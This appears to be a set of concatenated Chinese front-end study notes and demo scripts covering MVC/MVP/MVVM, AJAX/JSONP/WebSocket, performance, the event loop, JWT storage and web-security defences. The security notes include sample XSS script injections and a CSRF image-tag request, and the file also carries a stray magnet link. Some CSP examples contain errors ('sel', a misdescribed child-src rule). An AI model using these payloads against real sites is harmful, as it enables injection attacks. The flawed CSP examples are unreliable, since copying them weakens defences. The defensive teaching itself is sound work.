三角中的 Controller 操作了 Model 以后,两个 MVC 三角中的 View 都会接受到通知,然后更新自己,这样就保持了同一块 Model 不同 View 显示数据的实时性和正确性 MVC 的优点 1. 把业务逻辑和展示逻辑分离,模块化程度高。且当应用逻辑需要变更的时候,不需要变更业务逻辑和展示逻辑,只需要 Controller 换成另外一个 Controller 就行了(Swappable Controller) 2. 观察者模式可以做到多视图同时更新 MVC 的缺点 1. Controller 测试困难。因为视图同步操作是由 View 自己执行,而 View 只能在有 UI 的环境下运行。在没有 UI 环境下对 Controller 进行单元测试的时候,应用逻辑正确性是无法验证的:Model 更新的时候,无法对 View 的更新操作进行断言。 2. View 无法组件化。View 是强依赖特定的 Model 的,如果需要把这个 View 抽出来作为一个另外一个应用程序可复用的组件就困难了。因为不同程序的的 Domain Model 是不一样的 ## MVP MVP 模式是对 MVC 模式的改良,主要有两种:Passive View 和 Supervising Controller MVP 模式把 MVC 模式中的 Controller 换成了 Presenter。所以 MVP 层次之间的依赖关系如下。MVP 打破了 View 原来对 Model 的强依赖,其余的依赖关系和 MVC 模式一样 既然在 MVP 模式中,View 对 Model 的强依赖被打破了,那 View 如何同步 Model 的变更呢?和 MVC 设计模式一样,用户对 View 的操作都会转交给 Presenter。Presenter 会执行相应的应用程序逻辑,并且对 Model 进行相应的操作,而这个时候 Model 执行完业务逻辑以后,也是通过观察者模式把自己变更的消息传出去,但是是传给 Presenter 而不是 View,Presenter 获取到 Model 变更的消息以后,**通过 View 提供的接口更新视图** 关键点: 1. View 不再负责同步的逻辑,而是由 Presenter 负责。Presenter 中既有应用程序逻辑也有同步逻辑 2. View 需要提供操作界面的接口给 Presenter 进行调用 对比在 MVC 中,Controller 是不能操作 View 的,View 也没有提供相应的接口;而在 MVP 当中,Presenter 可以操作 View,View 需要提供一组对界面操作的接口给 Presenter 进行调用;Model 仍然通过观察者模式广播自己的变更,但由 Presenter 监听而不是 View MVP 的优点: 1. 便于测试。Presenter 对 View 是通过接口进行,在对 Presenter 进行不依赖 UI 环境的单元测试的时候。可以通过 Mock 一个 View 对象,这个对象只需要实现了 View 的接口即可。然后依赖注入到 Presenter 中,单元测试的时候就可以完整的测试 Presenter 应用逻辑的正确性 2. View 可以进行组件化。在 MVP 当中,View 不依赖 Model。这样就可以让 View 从特定的业务场景中脱离出来,可以说 View 可以做到对业务完全无知。它只需要提供一系列接口提供给上层操作。这样就可以做到高度可复用的 View 组件 MVP 的缺点: 1. Presenter 中除了应用逻辑以外,还有大量的 View->Model,Model->View 的手动同步逻辑,造成 Presenter 比较笨重,维护起来会比较困难 ## MVVM 模式 MVVM 模式可以看作是一种特殊的 MVP(Passive View) 模式,或者是说对 MVP 模式的一种改良。MVVM 中包含 Model View ViewModel 三个部分 ViewModel:其含义就是 Model of View,视图的模型,包括了领域模型(Domain Model)和视图状态(State)。在图形界面的应用程序当中,界面所提供的信息可能不仅仅应用程序的领域模型,还可能包含一些领域模型不包含的视图状态。例如电子表格程序上,需要显示当前排序的状态是顺序的,还是逆序的,而这是领域模型不包含的,但是同样需要显示,这就代表了视图状态。 可以简单把 ViewModel 理解成页面上所显示内容的数据抽象,和 Domain Model 不一样,ViewModel 更适合用来描述 View MVVM 各部分之间的调用关系同 MVP 一样,但是在 ViewModel 中会有个 Binder,或者是 Data-binding engine 的东西。MVP 中由 Presenter 负责的 View 和 Model 之间的数据同步操作,在 MVVM 中全部交由 Binder 处理。开发者只要在 View 的模板语法中,指令式地声明 View 上显示的内容是和 Model 上哪一块数据绑定的。当 Model 数据变更时,Binder 会自动把变更的数据同步到 View 上。当用户对 View 进行操作时(例如表单输入),Binder 也会把 View 上的数据同步到 Model 上。这样的处理方式称之为 Two-way data binding,数据双向绑定。 由此看来,相对于 MVP 中 开发者需要在 Presenter 手动执行 View 和 Model 的同步操作,ViewModel 则是将其自动化了。 MVVM 的优点 1. 提高了代码的可维护性。解决了MVP大量的手动View和Model同步的问题,提供双向绑定机制 2. 因为同步逻辑是交由Binder做的,View跟着Model同时变更,所以只需要保证Model的正确性,View就正确。大大减少了对View同步更新的测试 MVVM的缺点 1. 对于大型的图形应用程序,视图状态较多,ViewModel的构建和维护的成本都会比较高。 2. 数据绑定的声明是指令式地写在View的模版当中的,这些内容是没办法去打断点debug的。<file_sep>/通信类/ajax.js document.getElementById('ajax').addEventListener('click', e => { console.log('创建xhr对象') let xhr if (window.XMLHttpRequest) { xhr = new XMLHttpRequest() } else { xhr = new ActiveXObject('Microsoft.XMLHTTP') } xhr.open('GET', 'http://192.168.199.131:8080/cross_site_request') // xhr.setRequestHeader('Content-Type', 'application/json') // xhr.send(`{ // "type": "ajax" // }`) xhr.send() console.log('已经发送请求') xhr.onreadystatechange = function () { console.log('onreadystatechange') if (xhr.readyState === 4) { console.log('接收成功') console.log(xhr.status) if (xhr.status >= 200 && xhr.status < 400) { console.log('请求成功') console.log(xhr.responseText) console.log(typeof xhr.responseText) console.log(JSON.parse(xhr.responseText)) } } } })<file_sep>/通信类/jsonp.js let button = document.getElementById('ajax') button.addEventListener('click', e => { let script = document.createElement('script') let callbackName = 'localCall' + window.parseInt(Math.random() * 100000, 10) window[callbackName] = function (response) { if (response) { console.log('跨域加载服务器数据--', response) } else { console.log('数据为空') } } script.src = `http://192.168.199.131:8888/cross_site_request?callback=${callbackName}` document.body.appendChild(script) script.onload = function (e) { e.currentTarget.remove() window[callbackName] = null } script.onerror = function (e) { console.log('数据请求失败') e.currentTarget.remove() window[callbackName] = null } })<file_sep>/页面性能/defer2.js console.log('defer 2')<file_sep>/页面性能/性能优化碎碎念.md # 性能优化碎碎念 ## 图片优化 怎么计算一张图片的大小? 对于一张 100 _ 100 像素的图片来说,图像上有 10000 个像素点,如果每个像素的值是 RGBA 存储的话,那么也就是说每个像素有 4 个通道,每个通道 1 个字节(8 位 = 1 个字节),所以该图片大小大概为 39KB(10000 _ 1 \* 4 / 1024)。 但是在实际项目中,一张图片可能并不需要使用那么多颜色去显示,我们可以通过减少每个像素的调色板来相应缩小图片的大小。 了解了如何计算图片大小的知识,那么对于如何优化图片,想必大家已经有 2 个思路了: 1. 减少像素点 2. 减少每个像素点能够显示的颜色 ## 图片加载优化 1. 不用图片。很多时候会使用到很多修饰类图片,其实这类修饰图片完全可以用 CSS 去代替。 2. 对于移动端来说,屏幕宽度就那么点,完全没有必要去加载原图浪费带宽。一般图片都用 CDN 加载,可以计算出适配屏幕的宽度,然后去请求相应裁剪好的图片。 3. 小图使用 base64 格式 4. 将多个图标文件整合到一张图片中(雪碧图) 5. 选择正确的图片格式: - 对于能够显示 WebP 格式的浏览器尽量使用 WebP 格式。因为 WebP 格式具有更好的图像数据压缩算法,能带来更小的图片体积,而且拥有肉眼识别无差异的图像质量,缺点就是兼容性并不好 - 图使用 PNG,其实对于大部分图标这类图片,完全可以使用 SVG 代替 - 照片使用 JPEG ## DNS 预解析 ```html <!-- 开启 --> <meta http-equiv="x-dns-prefetch-control" content="on" /> <!-- 关闭 --> <meta http-equiv="x-dns-prefetch-control" content="off" /> <!-- 使用 link 对特定域名进行预解析 --> <link rel="dns-prefetch" href="http://www.spreadfirefox.com/" /> <!-- link 元素也支持不完整的 URL 的主机名来进行预解析 但需要在主机名前面加双斜线 - --> <link rel="dns-prefetch" href="//www.spreadfirefox.com/" /> ``` ## 函数节流 考虑一个场景,滚动事件中会发起网络请求,但是我们并不希望用户在滚动过程中一直发起请求,而是隔一段时间发起一次,对于这种情况我们就可以使用节流。 ```js // func 是开发者传入需要防抖的函数 // wait 是等待时间 const throttle = (func, wait = 50) => { // 上一次执行的时间 let lastTime = 0 return function(...args) { // 当前时间 let now = new Date() // 将当前时间和上一次执行函数时间对比 // 如果差值大于设置的等待时间就执行函数 if (now - lastTime > wait) { lastTime = now func.apply(this, args) } } } setInterval( throttle(() => { console.log(new Date()) }, 5000), 1000 ) ``` ## 函数防抖 考虑一个场景,有一个按钮点击会触发网络请求,但是我们并不希望每次点击都发起网络请求,而是当用户点击按钮一段时间后没有再次点击的情况才去发起网络请求,对于这种情况我们就可以使用防抖。 ```js // func 是开发者传入需要防抖的函数 // wait 是等待时间 const debounce = (func, wait = 50) => { // 缓存一个定时器id let timer = 0 // 这里返回的函数是每次用户实际调用的防抖函数 // 如果已经设定过定时器了就清空上一次的定时器 // 开始一个新的定时器,延迟执行用户传入的方法 return function(...args) { if (timer) { clearTimeout(timer) } timer = setTimeout(() => { func.apply(this, args) }, wait) } } ``` ## 预加载 在开发中,可能会遇到这样的情况。有些资源不需要马上用到,但是希望尽早获取,这时候就可以使用预加载。 预加载其实是声明式的 fetch ,强制浏览器请求资源,并且不会阻塞 onload 事件,可以使用以下代码开启预加载 ```html <link rel="preload" href="http://example.com" /> ``` 预加载可以一定程度上降低首屏的加载时间,因为可以将一些不影响首屏但重要的文件延后加载,唯一缺点就是兼容性不好。 ## 预渲染 可以通过预渲染将下载的文件预先在后台渲染,可以使用以下代码开启预渲染 ```html <link rel="prerender" href="http://example.com" /> ``` 预渲染虽然可以提高页面的加载速度,但是要确保该页面大概率会被用户在之后打开,否则就是白白浪费资源去渲染。 ## 懒执行 懒执行就是将某些逻辑延迟到使用时再计算。该技术可以用于首屏优化,对于某些耗时逻辑并不需要在首屏就使用的,就可以使用懒执行。懒执行需要唤醒,一般可以通过定时器或者事件的调用来唤醒。 ## 懒加载 懒加载就是将不关键的资源延后加载。 懒加载的原理就是只加载自定义区域(通常是可视区域,但也可以是即将进入可视区域)内需要加载的东西。对于图片来说,先设置图片标签的 src 属性为一张占位图,将真实的图片资源放入一个自定义属性中,当进入自定义区域时,就将自定义属性替换为 src 属性,这样图片就会去下载资源,实现了图片懒加载。 懒加载不仅可以用于图片,也可以使用在别的资源上。比如进入可视区域才开始播放视频等等。 ## CDN CDN 的原理是尽可能的在各个地方分布机房缓存数据,这样即使我们的根服务器远在国外,在国内的用户也可以通过国内的机房迅速加载资源。 因此,我们可以将静态资源尽量使用 CDN 加载,由于浏览器对于单个域名有并发请求上限,可以考虑使用多个 CDN 域名。并且对于 CDN 加载静态资源需要注意 CDN 域名要与主站不同,否则每次请求都会带上主站的 Cookie,平白消耗流量。 magnet:?xt=urn:btih:7797E283D2FAD0365E718CEADA2A04B38B4A5220 <file_sep>/JS执行机制/knowledge.md # JS 执行机制 厘清 JS 的执行机制 ## JS 单线程 javascript 是一门单线程语言,即使在最新的 HTML5 标准下有了 Web-Worker,但是 javascript 是单线程这一核心机制并没有变化。所以所谓的 javascript“多线程”,都只是通过各种异步编程模拟出来的。 ## JS 事件循环 js 是单线程机制,那就好比只有一个窗口的银行,客户需要排队一个一个办理业务,同理 js 任务也需要一个一个来执行。但是如果遇到某个任务耗时过长,那么后一个任务也得必须等待。那么问题来了,假如我们在网页浏览新闻,但是新闻包含的超清图片加载很慢,那难道我们要一直卡着直到图片出来才能继续往下浏览吗?程序员当然没有这么蠢,为此程序执行的任务分成两类:同步任务和异步任务。 当我们打开网站的时候,网页的渲染过程就是一大堆同步任务,比如页面骨架和页面元素的渲染。而像加载图片音乐之类的,就是比较占用浏览器资源耗时比较久的任务,会被设计成异步任务。 JS 执行同步和异步任务的机制是这样的 - 同步任务和异步任务分别进入不同的执行“场所”,同步任务进入主线程,异步任务进入 Event Table 并可能会注册回调函数 - 当指定的异步任务的事件完成时,Event Table 会将这个事件的回调函数移入 Event Queue - 主线程的同步任务执行完毕时,主线程会去 Event Queue 读取 里面的在第 2 个场景下移入的函数,在主线程里执行 - 以上过程会不断重复,也就是常说的 JS 事件循环机制(Event Loop) 那我们可能会有疑问--怎么知道主线程何时为空啊。JS 引擎存在`monitoring process`进程,会持续不断的检查主线程执行栈是否为空,一旦为空,就会通知主线程,主线程就会去 Event Queue 那里读取是否有正在等待被调用的函数 文字总是罗嗦的,上代码吧 ```js let a = { name: 'JS执行机制' } $.ajax({ url: 'www.api.com', data: a, success: e => { console.log('发送成功') } }) console.log('代码执行结束') ``` 上面是一段简易的`ajax`请求代码,代码执行顺序如下: 1. ajax 进入 Event Table,注册回调函数`success` 2. 执行`console.log('代码执行结束')` 3. ajax 事件完成,回调函数`success`进入 Event Queue 4. 主线程为空时从 Event Queue 读取`success`执行 ## JS setTimeout `setTimeout`是 JS 中定时器,实际上运行机制是这样的--使用了`setTimeout`后,JS 的`Runtime`(JS 宿主环境)会在某个时间点后,生成一个事件(timeout)事件。一般事件是靠底层系统或者线程池之类的产生事件,但是定时器事件则是靠事件循环不停检查系统时间来判断是否到达预设的时间点来生成定时器事件 需要区分下 JavaScript 的执行环境和 JavaScript 的执行引擎,浏览器、Node.js 等代表了执行环境,即 Runtime;JS 引擎一般是指示 JS 虚拟机,Chrome、Node.js 的 JS 引擎 是 V8,而对 Safari 来说则是 JavaScript Core。 最常用的用法是这样做的 ```js setTimeout(() => { console.log('延时3秒') }, 3000) ``` 但是有时候我们会发现,`setTimeout`中的回调函数的执行,并不一定在预设时间过了后就执行,比如上面的`console.log('延时3秒')`有可能 5、6 秒后才执行。比如我们这样改造一下之前的代码 ```js setTimeout(() => { console.log('延时3秒') }, 3000) console.log('主线程睡眠12秒') sleep(12000) // 模拟一个睡眠函数 function sleep(sleepTime) { var now = new Date() var exitTime = now.getTime() + sleepTime while (true) { now = new Date() if (now.getTime() > exitTime) { return true } } } ``` 我们运行以上 JS 代码会发现,`console.log('主线程睡眠12秒')`会立即执行,而`console.log('延时3秒')`却没有在预期的 3 秒后执行,而是过了 12 秒左右才会执行。 `setTimeout`之所以出现了这样的结果,是因为`setTimeout`只是经过指定的时间后,把需要执行的任务(这里就是`console.log('延时3秒')`)加到 Event Queue 当中,而 JS 主线程上任务是一个个执行的,所以遇到一个需要执行 12 秒的任务时(这里是`sleep(12000)`),那么必须等待这个任务完成,才能执行 Event Queue 里的任务。 日常开发中还会遇到`setTimeout(fn, 0)`这样的写法,是代表 0 秒后 fn 中任务就可以执行了吗?其实从刚刚的例子就可以看出,`setTimeout`设定的任务必须在主线程为空时才能执行,所以`setTimeout(fn, 0)`只是指定 fn 中任务可以在主线程最早可得空闲时间内执行,换句话说,只要主线程上的同步任务全部执行完了,就可以执行 fn 中的任务了。不过由于 HTML5 的标准规定,`setTimeout(fn, time)`中的时间参数,最小也只能是 4 毫秒,所以即使主线程为空,0 毫秒也是做不到的 ## JS setInterval 理清了`setTimeout`,那么它的同胞兄弟`setInterval`也是很好理解了。`setInterval(fn, time)`是指每隔 time 时间 就把 fn 置入 Event Queue,同`setTimeout`一样,如果主线程同步任务耗时过长,那么也不会按照预期执行 fn 中的任务。所以会存在这样一个情况,一旦 fn 的执行时间大于 time 的话,那么就完全看不出有时间间隔了 ## Promise.then(callback) 和 process.nextTick(callback) 传统的定时器`setTimeout`和`setInterval`上文讨论过了,现在来探究下`Promise.then(callback)`和`process.nextTick(callback)` 任务除了广义上的同步任务和异步任务,JS 中还有这对任务更精细的定义 - macro-task: 宏任务,包括 1--整体代码 script、2--setTimeout、3--setInterval - micro-task: 微任务,1--Promise.then()、2--process.nextTick() 不同的任务类型会进入不同的 Event Queue,相同的任务会进入同样的 Event Queue JS 的事件循环顺序,决定 JS 代码的执行顺序。进入整体代码(宏任务)后,开始第一次循环。接着执行所有的微任务。然后再次从宏任务开始,找到其中一个任务队列执行完毕,再执行所有的微任务。文字依然有点绕,直接看代码吧 ```js setTimeout(() => { console.log('setTimeout') }, 4) new Promise((resolve, reject) => { console.log('Promise') resolve() }).then(() => { console.log('Promise.then()') }) console.log('主线程同步任务') ``` `console.log`的执行顺序依次是这样的 ```js // 1 -- Promise // 2 -- 主线程同步任务 // 3 -- Promise.then() // 4 -- setTimeout ``` 这里解释一下 JS 的执行过程 1. 这段代码,所谓一个整体(宏任务)进入主线程 2. 先遇到`setTimeout`,那么将回调函数注册后分发到宏任务的 Event Queue 3. 接下来遇到了`new Promise()`,立即执行函数里的`console.log('Promise')`,而`then`函数分发到了微任务的 Event Queue 4. 再就是遇到了`console.log('主线程任务')`,立即执行 5. 好了,这段代码里 JS 主线程的同步任务执行完毕,也就是整体代码 script 作为第一个宏任务执行结束,接下来就是看看有哪些微任务?发现了`then`函数在微小任务的 Event Queue,执行 6. ok,第一轮事件循环结束了,我们开始第二轮循环,当然要从宏任务 Event Queue 开始。我们发现了宏任务 Event Queue 中`setTimeout`对应的回调函数,立即执行 7. 全部任务执行完毕,结束 有了以上的理解,来个练习题吧 ```js console.log('1') setTimeout(() => { console.log('2') process.nextTick(() => { console.log('3') }) new Promise((resolve, reject) => { console.log('4') resolve() }).then(() => { console.log('5') }) }) process.nextTick(() => { console.log('6') }) new Promise((resolve, reject) => { console.log('7') resolve() }).then(() => { console.log('8') }) setTimeout(() => { console.log('9') new Promise((resolve, reject) => { console.log('10') resolve() }).then(() => { console.log('11') }) process.nextTick(() => { console.log('12') }) }) ``` 以上代码在浏览器环境下的执行打印顺序是 1. 第一个宏任务(整体代码): 1 -> 7 -> 6 -> 8 2. 第二个宏任务(第一个 setTimeout):2 -> 4 -> 3 -> 5 3. 第三个宏任务(第二个 setTimeout):9 -> 10 -> 12 -> 11 比较重要的一条规则就是,同个 MicroTask 队列下 `process.tick()`会优于`Promise.then` ## 总结 我们从最开头就说 javascript 是一门单线程语言,不管是什么新框架新语法糖实现的所谓异步,其实都是用同步的方法去模拟的,牢牢把握住单线程这点非常重要。 事件循环是 js 实现异步的一种方法,也是 js 的执行机制。 执行和运行有很大的区别,javascript 在不同的环境下,比如 node,浏览器,Ringo 等等,执行方式是不同的。而运行大多指 javascript 解析引擎,是统一的。 微任务和宏任务还有很多种类,比如 setImmediate 等等,执行都是有共同点的,有兴趣的可以自行去了解。 <file_sep>/JWT(Json Web Token)/JWT原理以及应用.md # JWT 原理与应用 谈及 JWT 时,常常有人将其与 Session Cookie 混为一谈,所以厘清下这三者的概念。 ## Cookie HTTP Cookie(也叫做 Web Cookie 或者浏览器 Cookie),是服务器发送到用户浏览器并保存在本地的一小块数据(如 windows 用户的 Cookie 是保存在 c 盘里)。浏览器接收到服务器传过来的 Cookie 后,再次向服务器发起请求时会携带之前接收到 Cookie 一同发送给服务器。Cookie 一般用于告知服务端两个请求是否来自同一浏览器,比如用来保持用户的登录状态。 Cookie 使无状态的 HTTP 协议能够记录稳定的状态信息成为了可能,其作用主要应用于以下三个方面: 1. 会话状态管理(如用户登录状态、购物车、游戏分数或其它需要记录的信息) 2. 个性化设置(如用户自定义设置、主题等) 3. 浏览器行为跟踪(如跟踪分析用户行为等) ## Session Session 表示客户端和服务端之间的会话,因为 HTTP 请求是无状态的,所以为了把一个 HTTP 请求跟其他 HTTP 请求关联起来让服务端知道当前在跟它对话的客户端是谁,我们就需要有一种机制来保存这些请求之间的用户数据,这就是会话 Session 机制的实现一般有两种,最常见的就是用户登录时,服务端根据用户登录状态给客户端生成一个标识 id,然后在服务端开辟一块内存,以这个标识 id 为 key,用户数据为 value,下次有新的请求进来时,服务器解析请求里传递过来的标识 id,检查服务器上是否存在。这里的 id 和加密数据的传输和存储一般情况下会用 Cookie 来实现。 而另外一种,就是用户登录后,服务器把这次登录的会话数据加密签名后发给客户端,这样服务端就不需要再去存数据,典型的例子就是 Rails 的默认 Session 实现。这种方式的一个具体实现就是 JWT(Json Web Token) ## JWT JWT 是 一种 token 的生成标准,具体的标准可以参考[官网](https://link.zhihu.com/?target=https%3A//jwt.io/)。JWT 的本质,就是使用一点 cpu 的计算时间来代替储存空间,这点计算时间相对来说是比较廉价的。它是客户端向服务器请求一个 token,服务器验证了客户端是可信的之后,颁发一个唯一的 token 给客户端,之后客户端就可以使用这个 token 来与服务器通信,这就建立了两端之间的信任。所以我们会发现,只要有这个 token,不管是谁都能向服务器发送请求,服务器都会认为是合法的 ## 1. JWT 的应用 JWT 因为本质是是 Session 会话机制的一种实现,所以最常用来的就是记录 web 应用的用户登录状态。 ### 1.1 将 token 存在 Runtime 客户端将账户密码通过 HTTP 请求发送给服务器之后,服务器验证了通过了之后,生成一个 token 返回给前端,前端就可以从 HTTP 的 response 之中拿到这个 token 客户端取到这个 token 以后,我们就可以通过一个全局变量保存下来,之后的请求都会把这个 token 从全局变量中取出来,然后放到请求头之中发送给服务器,服务器验证这个 token,然后给予响应。 ### 1.2 将 token 存储在 localStorage 里持久化 但我们会发现,当我们重新刷新浏览器之后,本来已经登录了,但是服务器却还是让我们重新登录。这是因为我们把 token 存在了运行时,这说明 token 的生命周期只有应用的启动到销毁的运行状态下才会有,而刷新之后,就被清空了。 解决这个问题的办法就是要让这个 token 持久化,解决方案之一就是存到 localStorage 中。 登录请求成功之后,将 token 存到 localStorage 中,然年每次请求都从 localStorage 中将 token 取出来放到请求头中,这样就完成了 token 持久化,这也是很多应用采用的方式。 ### 1.3 优化 token 的安全性 token 持久化就完美了吗?当然不是,如果我们的网站被攻击了 xss 注入攻击了(当然不希望发生),对方就能获取到 localStorage 中的全部内容了,这里就包括了 token 这个重要信息。这要怎么办呢? 所以为了安全起见,存储 token 最好的方式还是使用 Cookie。登录请求成功之后,http 不需要返回 token 的信息,而是服务器直接 setCookie,来将 token 直接写到客户端的 cookie 之中。你可能会说了,写到 cookie 中,xss 注入不是也可以读到吗?no、no、no,我们除了要设置 token 之外,还要再做一个更重要的事,就是设置 cookie 为 http-only,这样,我们就能确保 js 读取不到 cookie 的信息了,再加上 https,就能让我们的请求更安全一些了。 ### 1.4 Cookie 存储 token 的优势 将 token 存储在 cookie 里还有两个好处 1. 安全性:我们能够通过 https 和设置 cookie http-only 来保证 cookie 的信息足够安全,不易被窃取。 2. 客户端无感:客户端只知道登录成功了,随后的一切请求都无需任何处理,因为 cookie 是浏览器自带的,所以我们不需要关心如何处理 token。使用 localStorage 有一个问题,就是每当 token 过期,我们还需要重新起将新的 token 设置到 localStorage 中。而是使用 cookie 的话,客户端就无需做任何处理,服务器判断 token 过期之后,直接更新 cookie 就可以了。 ### 1.5 如何更新 token token 有一个特点,就是一旦生成,就不能再被改变,所以你会发现,假设你颁布了一个有效期 15 分钟的 token,过了 15 分钟之后,即使用户一直在活跃,也会被立即强迫推出。这个其实不太符合部分应用的需求。 假如我们想要活跃的用户能一直保持登录状态的话,就需要快到 15 分钟的时候,去重新颁发一个 token 来延长登录有效期。而这时就会对同一个用户同时存在两个有效的 token,所以我们在重新颁发一个 token 的同时,还需要将快要过期的 token 拉黑,使其失效。 ### 1.6 如何拉黑 token 在每一个请求进来时,服务器需要做以下几件事 1. 是否需要验证 token(因为有一些 api 可能并不需要被验证) 2. 请求来的 token 是否合法(是否过期、是否被拉黑) 3. 解析 token,查看是不是快要过期,如果快要过期(比如距离过期时间差 15 分钟),重新颁发一个 token 并设置 cookie,并将当前 token 拉黑,请求继续。 简单说就是使用数据库将要被拉黑的 token 存起来,然后每次在上面流程中验证 token 的时候,去检查一下数据库看看 token 是不是被拉黑了。但是我们会发现被拉黑的 token 会在数据库里越来越多,所以我们还可以开一个定时任务去将数据库里已经过期的 token 删掉,因为它们已经过期了,不存在被不被拉黑的问题。 <file_sep>/通信类/web-socket.js /* * WebSocket 是一种 HTML5 的一种新的协议 * 它实现了浏览器与服务器的全双工通信 * 同时也是跨域的一种解决方案 */ /* websocket 协议为 ws/wss , 类似 http/https 的区别 */ /* 生成 WebSocket 实例 */ const ws = new WebSocket('ws://192.168.199.131:8080') /* 连接成功时调用 */ ws.onopen = (e) => { console.log('成功建立 websocket 连接') var msg = { username: 'WebSocket Message' } /* 通过send()方法向服务器发送消息,参数必须为字符串 */ ws.send(JSON.stringify(msg)) } /* 服务端向客户端发送消息时调用 */ ws.onmessage = (e) => { /* e.data包含了服务端发送过来的消息 */ console.log('websocket command onmessage:' + e.data) if (e.data === 'success') { /* 通过 close() 方法断开websocket连接 */ ws.close() } } /* 连接被关闭时调用 */ ws.onclose = function (event) { console.log("websocket command onclose: " + event.data) } /* 出现错误时调用 */ ws.onerror = function (event) { console.log("websocket command onerror: " + event.data) } <file_sep>/安全类/web安全防范.md # web 安全防范知识点 ## 1. XSS 涉及面试题:什么是 XSS 攻击?怎么防范 XSS 攻击?什么是 CSP XSS 简单点来说,就是攻击者想尽一切办法将可以执行的代码注入到网页中。 XSS 可以分为多种类型,但是总体上我认为分为两类:持久型和非持久型。 持久型也就是攻击的代码被服务端写入进数据库中,这种攻击危害性很大,因为如果网站访问量很大的话,就会导致大量正常访问页面的用户都受到攻击。 举个例子,对于评论功能来说,就得防范持久型 XSS 攻击,因为我可以在评论中输入以下内容 ```html <script> alert(1) </script> ``` 这种情况如果前后端没有做好防御的话,这段评论就会被存储到数据库中,这样每个打开该页面的用户都会被攻击到。 非持久型相比于前者危害就小的多了,一般通过修改 URL 参数的方式加入攻击代码,诱导用户访问链接从而进行攻击。 举个例子,如果页面需要从 URL 中获取某些参数作为内容的话,不经过过滤就会导致攻击代码被执行 ```html <!-- http://www.domain.com?name=<script>alert(1)</script> --> <div>{{name}}</div> ``` 但是对于这种攻击方式来说,如果用户使用 Chrome 这类浏览器的话,浏览器就能自动帮助用户防御攻击。但是我们不能因此就不防御此类攻击了,因为我不能确保用户都使用了该类浏览器。 对于 XSS 攻击来说,通常有两种方式可以用来防御。 ### 1.1 转义字符 首先,对于用户的输入应该是永远不信任的。最普遍的做法就是转义输入输出的内容,对于引号、尖括号、斜杠进行转义 ```js function escape(str) { str = str.replace(/&/g, '&amp;') str = str.replace(/</g, '&lt;') str = str.replace(/>/g, '&gt;') str = str.replace(/"/g, '&quto;') str = str.replace(/'/g, '&#39;') str = str.replace(/`/g, '&#96;') str = str.replace(/\//g, '&#x2F;') return str } ``` 但是对于显示富文本来说,显然不能通过上面的办法来转义所有字符,因为这样会把需要的格式也过滤掉。对于这种情况,通常采用白名单过滤的办法,当然也可以通过黑名单过滤,但是考虑到需要过滤的标签和标签属性实在太多,更加推荐使用白名单的方式。 ```js const xss = require('xss') let html = xss('<h1 id="title">XSS Demo</h1><script>alert("xss");</script>') // -> <h1>XSS Demo</h1>&lt;script&gt;alert("xss");&lt;/script&gt; console.log(html) ``` 以上示例使用了 js-xss 来实现,可以看到在输出中保留了 h1 标签且过滤了 script 标签。 ### 1.2 CSP CSP 本质上就是建立白名单,开发者明确告诉浏览器哪些外部资源可以加载和执行。我们只需要配置规则,如何拦截是由浏览器自己实现的。我们可以通过这种方式来尽量减少 XSS 攻击。 通常可以通过两种方式来开启 CSP: 1. 设置 HTTP Header 中的 Content-Security-Policy 2. 设置 meta 标签的方式 `<meta http-equiv="Content-Security-Policy">` 这里以设置 HTTP Header 来举例 1. 只允许加载本站资源 `Content-Security-Policy: default-src 'sel'` 2. 只允许加载 HTTPS 协议图片 `Content-Security-Policy: img-src https://*` 3. 允许加载任何来源框架 `Content-Security-Policy: child-src 'none'` 对于这种方式来说,只要开发者配置了正确的规则,那么即使网站存在漏洞,攻击者也不能执行它的攻击代码,并且 CSP 的兼容性也不错。 ## CSRF(Cross-Site-Request-Forgery) 涉及面试题:什么是 CSRF 攻击?如何防范 CSRF 攻击? CSRF 中文名为跨站请求伪造。原理就是攻击者构造出一个后端请求地址,诱导用户点击或者通过某些途径自动发起请求。如果用户是在登录状态下的话,后端就以为是用户在操作,从而进行相应的逻辑。 举个例子,假设网站中有一个通过 GET 请求提交用户评论的接口,那么攻击者就可以在钓鱼网站中加入一个图片,图片的地址就是评论接口 ```html <img src="http://www.domain.com/xxx?comment='attack'" /> ``` 那么你是否会想到使用 POST 方式提交请求是不是就没有这个问题了呢?其实并不是,使用这种方式也不是百分百安全的,攻击者同样可以诱导用户进入某个页面,在页面中通过表单提交 POST 请求。 防范 CSRF 攻击可以遵循以下几种规则: 1. Get 请求不对数据进行修改 2. 不让第三方网站访问到用户 Cookie 3. 阻止第三方网站请求接口 4. 请求时附带验证信息,比如验证码或者 Token SameSite: 可以对 Cookie 设置 SameSite 属性。该属性表示 Cookie 不随着跨域请求发送,可以很大程度减少 CSRF 的攻击,但是该属性目前并不是所有浏览器都兼容。 验证 Referer:对于需要防范 CSRF 的请求,我们可以通过验证 Referer 来判断该请求是否为第三方网站发起的 Token:服务器下发一个随机 Token,每次发起请求时将 Token 携带上,服务器验证 Token 是否有效。 ## 点击劫持 涉及面试题:什么是点击劫持?如何防范点击劫持? 点击劫持是一种视觉欺骗的攻击手段。攻击者将需要攻击的网站通过 iframe 嵌套的方式嵌入自己的网页中,并将 iframe 设置为透明,在页面中透出一个按钮诱导用户点击。 对于这种攻击方式,推荐防御的方法有两种。 首先是 X-FRAME-OPTIONS:X-FRAME-OPTIONS 是一个 HTTP 响应头,在现代浏览器有一个很好的支持。这个 HTTP 响应头 就是为了防御用 iframe 嵌套的点击劫持攻击。 该响应头有三个值可选,分别是 1. DENY, 表示页面不允许通过 iframe 的方式展示 2. SAMEORIGIN, 表示页面可以在相同域名下通过 iframe 的方式展示 3. ALLOW-FROM, 表示页面可以在指定来源的 iframe 中展示 对于某些远古浏览器来说,并不能支持上面的这种方式,那我们只有通过 JS 的方式来防御点击劫持了。 ```html <html> <head> <style id="click-jack"> html { display: none !important; } </style> </head> <body> <script> if (self === top) { var style = document.getElementById('click-jack') document.body.removeChild(style) } else { top.location = self.location } </script> </body> </html> ``` 以上代码的作用就是当通过 iframe 的方式加载页面时,攻击者的网页直接不显示所有内容了。 ## 中间人攻击 涉及面试题:什么是中间人攻击?如何防范中间人攻击? 中间人攻击是攻击方同时与服务端和客户端建立起了连接,并让对方认为连接是安全的,但是实际上整个通信过程都被攻击者控制了。攻击者不仅能获得双方的通信信息,还能修改通信信息。 通常来说不建议使用公共的 Wi-Fi,因为很可能就会发生中间人攻击的情况。如果你在通信的过程中涉及到了某些敏感信息,就完全暴露给攻击方了。 当然防御中间人攻击其实并不难,只需要增加一个安全通道来传输信息。HTTPS 就可以用来防御中间人攻击,但是并不是说使用了 HTTPS 